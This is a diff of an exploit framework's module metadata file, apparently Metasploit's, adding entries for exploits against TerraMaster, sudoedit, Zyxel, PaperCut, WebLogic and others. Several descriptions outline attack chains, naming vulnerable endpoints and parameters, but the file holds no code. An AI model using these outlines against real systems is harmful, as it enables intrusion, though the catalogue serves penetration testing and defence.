+ "mod_time": "2023-05-24 09:28:41 +0000",
+ "path": "/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb",
+ "is_install_path": true,
+ "ref_name": "scanner/http/dolibarr_16_contact_dump",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false
+ },
"auxiliary_scanner/http/dolibarr_login": {
"name": "Dolibarr ERP/CRM Login Utility",
"fullname": "auxiliary/scanner/http/dolibarr_login",
@@ -29989,7 +30432,7 @@
"https"
],
"targets": null,
- "mod_time": "2021-12-19 16:18:05 +0000",
+ "mod_time": "2023-06-07 11:34:00 +0000",
"path": "/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/http/grafana_plugin_traversal",
@@ -32953,7 +33396,7 @@
"https"
],
"targets": null,
- "mod_time": "2022-01-23 15:28:32 +0000",
+ "mod_time": "2023-06-01 12:38:20 +0000",
"path": "/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb",
"is_install_path": true,
"ref_name": "scanner/http/ms15_034_http_sys_memory_dump",
@@ -34584,6 +35027,47 @@
"session_types": false,
"needs_cleanup": false
},
+ "auxiliary_scanner/http/rpyc_rce": {
+ "name": "RPyC 4.1.0 through 4.1.1 Remote Command Execution",
+ "fullname": "auxiliary/scanner/http/rpyc_rce",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "2023-02-19",
+ "type": "auxiliary",
+ "author": [
+ "Aaron Meese <@ajmeese7>",
+ "Jamie Hill-Daniel <@clubby789>"
+ ],
+ "description": "This module allows remote command execution on RPyC versions 4.1.0 and 4.1.1.\n You will be able to execute a specified command on the target machine as\n the user running the RPyC service and view the output.",
+ "references": [
+ "CVE-2019-16328",
+ "URL-https://github.com/advisories/GHSA-pj4g-4488-wmxm",
+ "URL-https://gist.github.com/clubby789/b681e7a40da070713c3760953d8df1c3"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 18812,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": null,
+ "mod_time": "2023-03-09 15:55:51 +0000",
+ "path": "/modules/auxiliary/scanner/http/rpyc_rce.py",
+ "is_install_path": true,
+ "ref_name": "scanner/http/rpyc_rce",
+ "check": false,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ },
+ "session_types": false,
+ "needs_cleanup": false
+ },
"auxiliary_scanner/http/s40_traversal": {
"name": "S40 0.4.2 CMS Directory Traversal Vulnerability",
"fullname": "auxiliary/scanner/http/s40_traversal",
@@ -40685,6 +41169,55 @@
"session_types": false,
"needs_cleanup": false
},
+ "auxiliary_scanner/misc/rocketmq_version": {
+ "name": "Apache RocketMQ Version Scanner",
+ "fullname": "auxiliary/scanner/misc/rocketmq_version",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": null,
+ "type": "auxiliary",
+ "author": [
+ "h00die",
+ "Malayke"
+ ],
+ "description": "Version scanner for the Apache RocketMQ product.",
+ "references": [
+ "URL-https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT/blob/main/check.py",
+ "URL-https://github.com/apache/rocketmq"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 9876,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": null,
+ "mod_time": "2023-06-08 16:38:22 +0000",
+ "path": "/modules/auxiliary/scanner/misc/rocketmq_version.rb",
+ "is_install_path": true,
+ "ref_name": "scanner/misc/rocketmq_version",
+ "check": false,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false
+ },
"auxiliary_scanner/misc/rosewill_rxs3211_passwords": {
"name": "Rosewill RXS-3211 IP Camera Password Retriever",
"fullname": "auxiliary/scanner/misc/rosewill_rxs3211_passwords",
@@ -54906,7 +55439,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2018-08-23 15:20:56 +0000",
+ "mod_time": "2023-05-25 23:46:18 +0000",
"path": "/modules/encoders/cmd/brace.rb",
"is_install_path": true,
"ref_name": "cmd/brace",
@@ -55077,7 +55610,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2017-07-24 06:26:21 +0000",
+ "mod_time": "2023-06-02 10:22:56 +0000",
"path": "/modules/encoders/cmd/powershell_base64.rb",
"is_install_path": true,
"ref_name": "cmd/powershell_base64",
@@ -56821,7 +57354,7 @@
"URL-http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827",
"URL-http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756"
],
- "platform": "Unix",
+ "platform": "AIX,Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [
@@ -56834,7 +57367,7 @@
"IBM AIX Version 6.1",
"IBM AIX Version 7.1"
],
- "mod_time": "2020-10-02 17:38:06 +0000",
+ "mod_time": "2023-05-13 01:27:53 +0000",
"path": "/modules/exploits/aix/local/ibstat_path.rb",
"is_install_path": true,
"ref_name": "aix/local/ibstat_path",
@@ -56842,12 +57375,75 @@
"post_auth": false,
"default_credential": false,
"notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk"
+ ]
},
"session_types": [
-
+ "shell"
],
"needs_cleanup": true
},
+ "exploit_aix/local/invscout_rpm_priv_esc": {
+ "name": "invscout RPM Privilege Escalation",
+ "fullname": "exploit/aix/local/invscout_rpm_priv_esc",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2023-04-24",
+ "type": "exploit",
+ "author": [
+ "Tim Brown",
+ "bcoles "
+ ],
+ "description": "This module exploits a command injection vulnerability in IBM AIX\n invscout set-uid root utility present in AIX 7.2 and earlier.\n\n The undocumented -rpm argument can be used to install an RPM file;\n and the undocumented -o argument passes arguments to the rpm utility\n without validation, leading to command injection with effective-uid\n root privileges.\n\n This module has been tested successfully on AIX 7.2.",
+ "references": [
+ "CVE-2023-28528",
+ "URL-https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691"
+ ],
+ "platform": "AIX,Unix",
+ "arch": "cmd",
+ "rport": null,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Automatic"
+ ],
+ "mod_time": "2023-05-17 20:17:55 +0000",
+ "path": "/modules/exploits/aix/local/invscout_rpm_priv_esc.rb",
+ "is_install_path": true,
+ "ref_name": "aix/local/invscout_rpm_priv_esc",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": [
+ "shell",
+ "meterpreter"
+ ],
+ "needs_cleanup": null
+ },
"exploit_aix/local/xorg_x11_server": {
"name": "Xorg X11 Server Local Privilege Escalation",
"fullname": "exploit/aix/local/xorg_x11_server",
@@ -64182,10 +64778,10 @@
"https"
],
"targets": [
- "Unix Command",
+ "Nix Command",
"Linux (Dropper)"
],
- "mod_time": "2022-10-24 11:48:33 +0000",
+ "mod_time": "2023-03-15 19:19:19 +0000",
"path": "/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb",
"is_install_path": true,
"ref_name": "linux/http/glpi_htmlawed_php_injection",
@@ -71062,6 +71658,68 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/http/symmetricom_syncserver_rce": {
+ "name": "Symmetricom SyncServer Unauthenticated Remote Command Execution",
+ "fullname": "exploit/linux/http/symmetricom_syncserver_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2022-08-31",
+ "type": "exploit",
+ "author": [
+ "Steve Campbell",
+ "Justin Fatuch Apt4hax",
+ "Robert Bronstein"
+ ],
+ "description": "This module exploits an unauthenticated command injection vulnerability in /controller/ping.php.\n The S100 through S350 (End of Life) models should be vulnerable to\n unauthenticated exploitation due to a session handling vulnerability.\n Later models require authentication which is not provided in this module because we can't test it.\n The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022).\n Run 'check' first to determine if vulnerable.\n The server limits outbound ports. Ports 25 and 80 TCP were successfully used for SRVPORT\n and LPORT while testing this module.",
+ "references": [
+ "CVE-2022-40022",
+ "URL-https://nvd.nist.gov/vuln/detail/CVE-2022-40022"
+ ],
+ "platform": "Linux",
+ "arch": "x86, x64",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Automatic"
+ ],
+ "mod_time": "2023-06-13 17:05:30 +0000",
+ "path": "/modules/exploits/linux/http/symmetricom_syncserver_rce.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/symmetricom_syncserver_rce",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/http/synology_dsm_sliceupload_exec_noauth": {
"name": "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution",
"fullname": "exploit/linux/http/synology_dsm_sliceupload_exec_noauth",
@@ -71165,6 +71823,205 @@
"session_types": false,
"needs_cleanup": true
},
+ "exploit_linux/http/terramaster_unauth_rce_cve_2020_35665": {
+ "name": "TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution",
+ "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2020_35665",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2020-12-12",
+ "type": "exploit",
+ "author": [
+ "h00die-gr3y ",
+ "IHTeam"
+ ],
+ "description": "This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06\n and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php`\n during CSV creation.\n Any unauthenticated user can therefore execute commands on the system under the same privileges as the\n web application, which typically runs under root at the TerraMaster Operating System.",
+ "references": [
+ "CVE-2020-35665",
+ "CVE-2020-28188",
+ "PACKETSTORM-160685",
+ "PACKETSTORM-160687",
+ "URL-https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/",
+ "URL-https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd, php, x64, x86, aarch64",
+ "rport": 8181,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "PHP",
+ "Unix Command",
+ "Linux Dropper"
+ ],
+ "mod_time": "2023-06-08 07:39:44 +0000",
+ "path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/terramaster_unauth_rce_cve_2020_35665",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
+ "exploit_linux/http/terramaster_unauth_rce_cve_2021_45837": {
+ "name": "TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.",
+ "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2021_45837",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2021-12-24",
+ "type": "exploit",
+ "author": [
+ "h00die-gr3y ",
+ "n0tme"
+ ],
+ "description": "Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows\n an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.\n CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other\n information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint.\n This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker\n can self-sign session cookies by knowing the target MAC address and the user password hash.\n Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker\n to login as guest.\n Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted\n input to vulnerable endpoint `/tos/index.php?app/del`.",
+ "references": [
+ "CVE-2021-45837",
+ "CVE-2021-45839",
+ "CVE-2021-45841",
+ "URL-https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/",
+ "PACKETSTORM-165399",
+ "URL-https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd, x64, x86, aarch64",
+ "rport": 8181,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Unix Command",
+ "Linux Dropper"
+ ],
+ "mod_time": "2023-06-08 21:25:40 +0000",
+ "path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/terramaster_unauth_rce_cve_2021_45837",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
+ "exploit_linux/http/terramaster_unauth_rce_cve_2022_24990": {
+ "name": "TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989",
+ "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2022_24990",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2022-03-07",
+ "type": "exploit",
+ "author": [
+ "h00die-gr3y ",
+ "Octagon Networks",
+ "0xf4n9x"
+ ],
+ "description": "This module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS 4.2.29\n and lower by chaining two existing vulnerabilities, CVE-2022-24990 \"Leaking sensitive information\"\n and CVE-2022-24989, \"Authenticated remote code execution\".\n Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password\n hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint\n `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to execute remote code as root\n on TerraMaster NAS devices.",
+ "references": [
+ "CVE-2022-24990",
+ "CVE-2022-24989",
+ "URL-https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/",
+ "URL-https://github.com/0xf4n9x/CVE-2022-24990",
+ "URL-https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd, x64, x86, aarch64",
+ "rport": 8181,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Unix Command",
+ "Linux Dropper"
+ ],
+ "mod_time": "2023-06-12 19:28:08 +0000",
+ "path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/terramaster_unauth_rce_cve_2022_24990",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
"exploit_linux/http/tiki_calendar_exec": {
"name": "Tiki-Wiki CMS Calendar Command Execution",
"fullname": "exploit/linux/http/tiki_calendar_exec",
@@ -77204,6 +78061,69 @@
],
"needs_cleanup": true
},
+ "exploit_linux/local/sudoedit_bypass_priv_esc": {
+ "name": "Sudoedit Extra Arguments Priv Esc",
+ "fullname": "exploit/linux/local/sudoedit_bypass_priv_esc",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2023-01-18",
+ "type": "exploit",
+ "author": [
+ "h00die",
+ "Matthieu Barjole",
+ "Victor Cutillas"
+ ],
+ "description": "This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package.\n The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided\n environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to\n append arbitrary entries to the list of files to process. This can lead to privilege escalation.\n by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root\n privileges.\n\n Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu\n 22.04 and 22.10.\n\n This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and\n 1.9.11p3-1ubuntu1 on Ubuntu 22.10.",
+ "references": [
+ "EDB-51217",
+ "URL-https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh",
+ "URL-https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh",
+ "URL-https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis",
+ "URL-https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466",
+ "URL-https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf",
+ "URL-https://www.sudo.ws/security/advisories/sudoedit_any/",
+ "CVE-2023-22809"
+ ],
+ "platform": "Linux",
+ "arch": "x86, x64",
+ "rport": null,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Auto"
+ ],
+ "mod_time": "2023-05-16 16:18:14 +0000",
+ "path": "/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb",
+ "is_install_path": true,
+ "ref_name": "linux/local/sudoedit_bypass_priv_esc",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk",
+ "config-changes"
+ ]
+ },
+ "session_types": [
+ "shell",
+ "meterpreter"
+ ],
+ "needs_cleanup": true
+ },
"exploit_linux/local/systemtap_modprobe_options_priv_esc": {
"name": "SystemTap MODPROBE_OPTIONS Privilege Escalation",
"fullname": "exploit/linux/local/systemtap_modprobe_options_priv_esc",
@@ -80027,6 +80947,57 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/misc/zyxel_ike_decoder_rce_cve_2023_28771": {
+ "name": "Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution",
+ "fullname": "exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771",
+ "aliases": [
+
+ ],
+ "rank": 500,
+ "disclosure_date": "2023-03-31",
+ "type": "exploit",
+ "author": [
+ "sf "
+ ],
+ "description": "This module exploits a remote unauthenticated command injection vulnerability in the Internet Key Exchange\n (IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. The affected devices are\n as follows: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX (Firmware version 4.60 to 5.35 inclusive),\n VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive). The\n affected devices are vulnerable in a default configuration and command execution is with root privileges.",
+ "references": [
+ "CVE-2023-28771",
+ "URL-https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis",
+ "URL-https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd",
+ "rport": 500,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Default"
+ ],
+ "mod_time": "2023-06-09 09:36:50 +0000",
+ "path": "/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb",
+ "is_install_path": true,
+ "ref_name": "linux/misc/zyxel_ike_decoder_rce_cve_2023_28771",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-service-restarts"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/misc/zyxel_multiple_devices_zhttp_lan_rce": {
"name": "Zyxel Unauthenticated LAN Remote Code Execution",
"fullname": "exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce",
@@ -88920,7 +89891,7 @@
"targets": [
"Unix Command"
],
- "mod_time": "2023-02-14 15:26:01 +0000",
+ "mod_time": "2023-06-06 17:43:22 +0000",
"path": "/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb",
"is_install_path": true,
"ref_name": "multi/http/gitlab_github_import_rce_cve_2022_2992",
@@ -93743,6 +94714,71 @@
"session_types": false,
"needs_cleanup": true
},
+ "exploit_multi/http/papercut_ng_auth_bypass": {
+ "name": "PaperCut PaperCutNG Authentication Bypass",
+ "fullname": "exploit/multi/http/papercut_ng_auth_bypass",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2023-03-13",
+ "type": "exploit",
+ "author": [
+ "catatonicprime"
+ ],
+ "description": "This module leverages an authentication bypass in PaperCut NG. If necessary it\n updates Papercut configuration options, specifically the 'print-and-device.script.enabled'\n and 'print.script.sandboxed' options to allow for arbitrary code execution running in\n the builtin RhinoJS engine.\n\n This module logs at most 2 events in the application log of papercut. Each event is tied\n to modifcation of server settings.",
+ "references": [
+ "CVE-2023-27350",
+ "ZDI-23-233",
+ "URL-https://www.papercut.com/kb/Main/PO-1216-and-PO-1219",
+ "URL-https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/",
+ "URL-https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/",
+ "URL-https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software"
+ ],
+ "platform": "Java",
+ "arch": "java",
+ "rport": "9191",
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Automatic Target"
+ ],
+ "mod_time": "2023-05-31 19:15:14 +0000",
+ "path": "/modules/exploits/multi/http/papercut_ng_auth_bypass.rb",
+ "is_install_path": true,
+ "ref_name": "multi/http/papercut_ng_auth_bypass",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk",
+ "config-changes"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_multi/http/pentaho_business_server_authbypass_and_ssti": {
"name": "Pentaho Business Server Auth Bypass and Server Side Template Injection RCE",
"fullname": "exploit/multi/http/pentaho_business_server_authbypass_and_ssti",
@@ -100658,6 +101694,62 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_multi/iiop/cve_2023_21839_weblogic_rce": {
+ "name": "Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization",
+ "fullname": "exploit/multi/iiop/cve_2023_21839_weblogic_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2023-01-17",
+ "type": "exploit",
+ "author": [
+ "4ra1n",
+ "14m3ta7k",
+ "Grant Willcox"
+ ],
+ "description": "Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated\n remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes\n a \"ForeignOpaqueReference\" class object, deserializes it on the target, and then post deserialization, calls the\n object's \"getReferent()\" method, which will make use of the \"ForeignOpaqueReference\" class's \"remoteJNDIName\" variable,\n which is under the attackers control, to do a remote loading of the JNDI address specified by \"remoteJNDIName\" via\n the \"lookup()\" function.\n\n This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting\n a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to\n create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java\n code during the instantiation of the object, thereby getting remote code execution as the \"oracle\" user.\n\n This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will\n then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java\n class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file,\n at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate\n an instance of that class, granting us RCE as the \"oracle\" user.\n\n This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability",
+ "references": [
+ "CVE-2023-21839",
+ "URL-https://www.oracle.com/security-alerts/cpujan2023.html",
+ "URL-https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md",
+ "URL-https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md",
+ "URL-https://github.com/4ra1n/CVE-2023-21839",
+ "URL-https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 7001,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Linux"
+ ],
+ "mod_time": "2023-06-09 12:24:35 +0000",
+ "path": "/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb",
+ "is_install_path": true,
+ "ref_name": "multi/iiop/cve_2023_21839_weblogic_rce",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_multi/kubernetes/exec": {
"name": "Kubernetes authenticated code execution",
"fullname": "exploit/multi/kubernetes/exec",
@@ -104085,7 +105177,7 @@
"Linux",
"Mac OS X"
],
- "mod_time": "2021-05-20 17:17:17 +0000",
+ "mod_time": "2023-05-30 12:21:52 +0000",
"path": "/modules/exploits/multi/script/web_delivery.rb",
"is_install_path": true,
"ref_name": "multi/script/web_delivery",
@@ -104093,6 +105185,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+
+ ],
+ "Reliability": [
+
+ ]
},
"session_types": false,
"needs_cleanup": null
@@ -104124,6 +105225,7 @@
],
"targets": [
+ "Linux Command",
"Linux x86",
"Linux x64",
"Linux armle",
@@ -104138,7 +105240,7 @@
"Unix Cmd",
"Interactive SSH"
],
- "mod_time": "2022-03-24 22:52:15 +0000",
+ "mod_time": "2023-03-15 19:19:19 +0000",
"path": "/modules/exploits/multi/ssh/sshexec.rb",
"is_install_path": true,
"ref_name": "multi/ssh/sshexec",
@@ -149232,6 +150334,69 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_windows/http/ivanti_avalanche_filestoreconfig_upload": {
+ "name": "Ivanti Avalanche FileStoreConfig File Upload",
+ "fullname": "exploit/windows/http/ivanti_avalanche_filestoreconfig_upload",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2023-04-24",
+ "type": "exploit",
+ "author": [
+ "Piotr Bazydlo",
+ "Shelby Pace"
+ ],
+ "description": "Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short\n names in the configuration path for the Central FileStore. Because of\n this, an administrator can change the default path to the web root\n of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\\SYSTEM.",
+ "references": [
+ "URL-https://www.zerodayinitiative.com/advisories/ZDI-23-456/",
+ "URL-https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US",
+ "URL-https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128",
+ "CVE-2023-28128"
+ ],
+ "platform": "Java,Windows",
+ "arch": "java",
+ "rport": 8080,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Automatic Target"
+ ],
+ "mod_time": "2023-05-12 16:08:47 +0000",
+ "path": "/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb",
+ "is_install_path": true,
